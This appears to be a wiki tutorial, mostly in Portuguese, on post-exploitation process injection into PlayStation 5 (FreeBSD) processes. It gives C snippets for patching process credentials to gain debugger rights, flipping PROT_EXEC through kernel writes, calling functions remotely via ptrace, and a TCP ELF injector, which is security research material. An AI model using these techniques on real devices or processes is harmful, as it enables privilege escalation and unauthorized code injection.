# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) {{#include ../banners/hacktricks-training.md}} ## Visão geral Esta página documenta uma técnica prática de injeção de processo em usermode/ELF no PlayStation 5 (PS5), que é baseado em FreeBSD. O método se generaliza para derivados do FreeBSD quando você já possui primitivas de leitura/escrita do kernel (R/W). Em alto nível: - Aplicar patch às credenciais do processo atual (ucred) para conceder autoridade de debugger, habilitando ptrace/mdbg em processos de usuário arbitrários. - Encontrar processos alvo percorrendo a lista kernel allproc. - Bypassar restrições PROT_EXEC definindo vm_map_entry.protection |= PROT_EXEC no vm_map do alvo através de escritas em memória do kernel. - Usar ptrace para realizar Remote Function Invocation (RFI): suspender uma thread, ajustar registradores para chamar funções arbitrárias dentro do alvo, retomar, coletar valores de retorno e restaurar o estado. - Mapear e executar payloads ELF arbitrários dentro do alvo usando um ELF loader in-process, então criar uma thread dedicada que execute seu payload e dispare um breakpoint para desanexar limpo. Mitigações do hypervisor do PS5 a notar (contextualizadas para esta técnica): - XOM (execute-only .text) impede leitura/escrita de .text do kernel. - Limpar CR0.WP ou desabilitar CR4.SMEP causa um vmexit do hypervisor (crash). Apenas escritas no kernel que alterem dados são viáveis. - mmap em userland é restrito a PROT_READ|PROT_WRITE por padrão. Conceder PROT_EXEC deve ser feito editando vm_map entries na memória do kernel. Esta técnica é pós-exploração: assume primitivas de R/W do kernel fornecidas por uma cadeia de exploração. Payloads públicos demonstram isso até firmware 10.01 na data de escrita. ## Primitivas do kernel somente de dados ### Descoberta de processos via allproc FreeBSD mantém uma lista duplamente ligada de processos na .data do kernel em allproc. Com uma primitiva de leitura do kernel, itere-a para localizar nomes de processos e PIDs: ```c struct proc* find_proc_by_name(const char* proc_name){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry if (!strcmp(proc->p_comm, proc_name)) return proc; kernel_copyout(next, &next, sizeof(uint64_t)); // advance next } while (next); free(proc); return NULL; } void list_all_proc_and_pid(){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); printf("%s - %d\n", proc->p_comm, proc->pid); kernel_copyout(next, &next, sizeof(uint64_t)); } while (next); free(proc); } ``` Notas: - KERNEL_ADDRESS_ALLPROC depende do firmware. - p_comm é um nome de tamanho fixo; considere pid->proc lookups se necessário. ### Elevar credenciais para depuração (ucred) No PS5, struct ucred inclui um campo Authority ID acessível via proc->p_ucred. Escrever o Authority ID do debugger concede ptrace/mdbg sobre outros processos: ```c void set_ucred_to_debugger(){ struct proc* proc = get_proc_by_pid(getpid()); if (proc){ uintptr_t authid = 0; // read current (optional) uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); free(proc); } } ``` - Offset 0x58 é específico da família de firmware do PS5 e deve ser verificado por versão. - Após essa escrita, o injector pode anexar e instrumentar processos de usuário via ptrace/mdbg. ## Contornando mapeamentos de usuário somente RW: vm_map PROT_EXEC flip O mmap em espaço de usuário pode estar limitado a PROT_READ|PROT_WRITE. O FreeBSD rastreia o espaço de endereçamento de um processo em um vm_map de nós vm_map_entry (BST mais lista). Cada entrada carrega os campos protection e max_protection: ```c struct vm_map_entry { struct vm_map_entry *prev,*next,*left,*right; vm_offset_t start, end, avail_ssize; vm_size_t adj_free, max_free; union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; int wired_count; vm_pindex_t lastr; }; ``` Com kernel R/W você pode localizar o vm_map do alvo e definir entry->protection |= PROT_EXEC (e, se necessário, entry->max_protection). Notas práticas de implementação: - Percorra as entries linearmente via next ou usando a balanced-tree (left/right) para busca O(log n) por intervalo de endereços. - Escolha uma região RW conhecida que você controle (scratch buffer ou mapped file) e adicione PROT_EXEC para poder stage code ou loader thunks. - O código do PS5 SDK fornece helpers para lookup rápido de map-entry e alternância de protections. Isso contorna a política de mmap do userland editando diretamente metadata pertencente ao kernel. ## Remote Function Invocation (RFI) with ptrace FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Em vez disso, faça com que o alvo chame funções em si mesmo sob controle do ptrace: 1. Anexe-se ao alvo e selecione uma thread; PTRACE_ATTACH ou fluxos mdbg específicos do PS5 podem se aplicar. 2. Salve o contexto da thread: registers, PC, SP, flags. 3. Escreva os argument registers conforme o ABI (x86_64 SysV ou arm64 AAPCS64), defina o PC para a função alvo e, opcionalmente, coloque args/stack adicionais conforme necessário. 4. Execute passo a passo (single-step) ou continue até uma parada controlada (por exemplo, software breakpoint ou signal), então leia os valores de retorno de regs. 5. Restaure o contexto original e continue. Casos de uso: - Chamar um ELF loader em processo (por exemplo, elfldr_load) com um ponteiro para sua imagem ELF na memória do alvo. - Invocar rotinas helper para recuperar entrypoints retornados e ponteiros de payload-args. Example of driving the ELF loader: ```c intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); intptr_t args = elfldr_payload_args(target_pid); printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); ``` The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main(). ## Stager baseado em thread e detach limpo Um stager mínimo dentro do target cria uma nova pthread que executa o main do ELF e depois aciona int3 para sinalizar ao injector que faça o detach: ```c int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ pthread_t thread; functions->pthread_create_ptr(&thread, 0, (void*(*)(void*))functions->elf_main, functions->payload_args); asm("int3"); return 0; } ``` - Os ponteiros SCEFunctions/payload_args são fornecidos pelo loader/SDK glue. - Após o breakpoint e detach, o payload continua em sua própria thread. ## Pipeline ponta a ponta (implementação de referência PS5) A implementação funcional é distribuída como um pequeno servidor injetor TCP mais um script cliente: - O servidor NineS escuta em TCP 9033 e recebe um cabeçalho contendo o nome do processo alvo seguido da imagem ELF: ```c typedef struct __injector_data_t{ char proc_name[MAX_PROC_NAME]; Elf64_Ehdr elf_header; } injector_data_t; ``` - Uso do cliente Python: ```bash python3 ./send_injection_elf.py SceShellUI hello_world.elf ``` Exemplo de payload Hello-world (logs to klog): ```c #include #include #include int main(){ klog_printf("Hello from PID %d\n", getpid()); return 0; } ``` ## Considerações práticas - Offsets e constantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) são específicos do firmware e devem ser atualizados por release. - As proteções do hypervisor forçam escritas no kernel apenas de dados; não tente patchar CR0.WP ou CR4.SMEP. - Memória JIT é uma alternativa: alguns processos expõem PS5 JIT APIs para alocar páginas executáveis. A inversão da proteção vm_map remove a necessidade de depender de truques de JIT/mirroring. - Mantenha o salvamento/restauração de registradores robusto; em caso de falha, você pode travar (deadlock) ou crashar o alvo. ## Ferramentas públicas - PS5 SDK (ligação dinâmica, wrappers R/W do kernel, helpers de vm_map): https://github.com/ps5-payload-dev/sdk - ELF loader: https://github.com/ps5-payload-dev/elfldr - Servidor de injeção: https://github.com/buzzer-re/NineS/ - Utilitários / helpers de vm_map: https://github.com/buzzer-re/playstation_research_utils - Projetos relacionados: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv ## Referências - [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) - [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) - [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) - [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) - [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) - [Mira](https://github.com/OpenOrbis/mira-project) - [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) - [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) {{#include ../banners/hacktricks-training.md}}